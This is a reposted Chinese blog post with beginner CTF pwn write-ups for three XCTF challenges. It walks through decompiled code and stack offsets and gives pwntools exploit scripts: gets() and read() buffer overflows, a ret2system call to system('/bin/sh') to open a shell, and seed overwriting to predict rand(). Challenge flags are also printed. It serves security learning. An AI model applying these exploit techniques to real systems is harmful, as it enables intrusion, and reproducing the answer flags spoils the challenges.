
?碎碎念
咕咕咕了好久的Pwn,臨時抱佛腳入門一下,
先安利之前看的一個 Reverse+Pwn 講解視頻
講的還是很不錯的,建議耐心看完
另外感覺Reverse和Pwn都好難!!
不,CTF好難!!
之前學C的時候了解過gets()函式很危險
一般筆者會使用如下代碼代替gets()
scanf("%[^\n]%*c",a);
學了Pwn更直觀地感受到了這一點
關于scanf的更多用法詳見
https://blog.csdn.net/jeffasd/article/details/80705487
?堆疊示意圖

?writeup
when_did_you_born

題目鏈接:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051&page=1
附件是沒有擴展名的檔案
//后面的題目就不提了附件了應該都是Linux檔案
剛剛開始入門Pwn
參考
https://www.cnblogs.com/yidianhan/p/11583561.html
IDA64打開 F5反編譯

很明顯gets函式的地方存在漏洞
//學C的時候就應該知道這個函式存在風險
// gets從標準輸入設備讀字串函式,其可以無限讀取,不會判斷上限,以回車結束讀取,所以程式員應該確保buffer的空間足夠大,以便在執行讀操作時不發生溢位,
要v5不等于1926才能進入else
而cat flag又需要v5等于1926
雙擊變數v4 v5存放在同一個stack中
看IDA最上面的rsp rbp也可以看出來

源代碼可知先壓v5再壓v4
構造exp壓v4的時候覆寫v5的值
//wp中的exp有問題
//第一次不是send 1926 send其他值才能進入else
修改如下
from pwn import *
p=remote('220.249.52.133',34030)
shellcode=b'a'*8+p64(1926)
p.recvuntil('Your Birth?')
p.sendline('1')
p.sendline(shellcode)
p.interactive()


Flag:cyberpeace{0541792f47eb4f7c642d2d7af1b5885f}

//噗隨機出來50額外金幣 叫我歐皇!

結束,
level2

題目鏈接:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5055&page=1

IDA打開 F5反編譯


???
參考
https://blog.csdn.net/macro_wing/article/details/98243439
https://www.cnblogs.com/yidianhan/p/11597188.html
代碼非常簡單
溢位點在read函式

需要通過read溢位最后執行
system(‘/bin/sh’)獲得shell
esp 0 ebp -88
offset=88
wp中的exp遇到如下報錯

!注意:python3中next()方法更名了 修改為__next__()
參考
https://blog.csdn.net/gaifuxi9518/article/details/81059938
修改了wp中的exp
from pwn import *
elf=ELF('./level2')
p=remote('220.249.52.133',39494)
sys_addr=elf.symbols['system']
bin_addr=elf.search('/bin/sh').__next__()
shellcode='a'*(0x88+0x4)+p32(sys_addr)+p32(0)+p32(bin_addr)
p.recvline
p.sendline(shellcode)
p.interactive()
p.close()
!不要再用windows打Pwn了 拿到shell也執行不了
//好吧怎么可能有人用windows打Pwn 然而一開始我踩坑了

取得shell后ls然后cat flag
Flag:cyberpeace{6c8681084181617bd2e2a7bbb0a2a169}

結束,
guess_num

題目鏈接:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5057&page=1

開啟了canary堆疊保護 不能直接溢位堆疊
IDA64打開 F5反編譯


代碼邏輯清晰srand生成亂數種子 然后回圈遍歷生成亂數 猜對數字cat flag
溢位點在gets
seed陣列 rsp+30 rbp-10
v9 rsp+10 rbp-30
offset=20
參考
https://blog.csdn.net/macro_wing/article/details/99236880
https://www.cnblogs.com/644-bbbb/p/12741211.html
srand初始化隨機種子,rand產生亂數,隨機函式生成的亂數并不是真的亂數,他們只是在一定范圍內隨機,實際上是一段數字的回圈,這些數字取決于隨機種子,在呼叫rand()函式時,必須先利用srand()設好亂數種子,如果未設亂數種子,rand()在呼叫時會自動設亂數種子為1,
對于該題目,我們將隨機種子設定為0或1都是可以的,
撰寫exp時需要用到libc共享庫 使用ctypes模塊
先ldd命令查找libc共享庫位置

exp
from pwn import *
from ctypes import *
p = remote('220.249.52.133',46393)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
payload = b'a' * 0x20 + p64(1)
p.sendlineafter("name:",payload)
#get offset is 0x20,edit seed as 1
libc.srand(1)
for i in range(10):
p.recvuntil("number:")
p.sendline(str(libc.rand()%6+1))
p.interactive()

Flag:cyberpeace{473602a1807e5a385d0ea90b25b67d55}

結束,
?轉載請注明出處
本文作者:雙份濃縮馥芮白
原文鏈接:https://www.cnblogs.com/Flat-White/p/13643265.html
著作權所有,如需轉載請注明出處,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/3037.html
標籤:其他
下一篇:計算機軟體檔案編制規范摘要
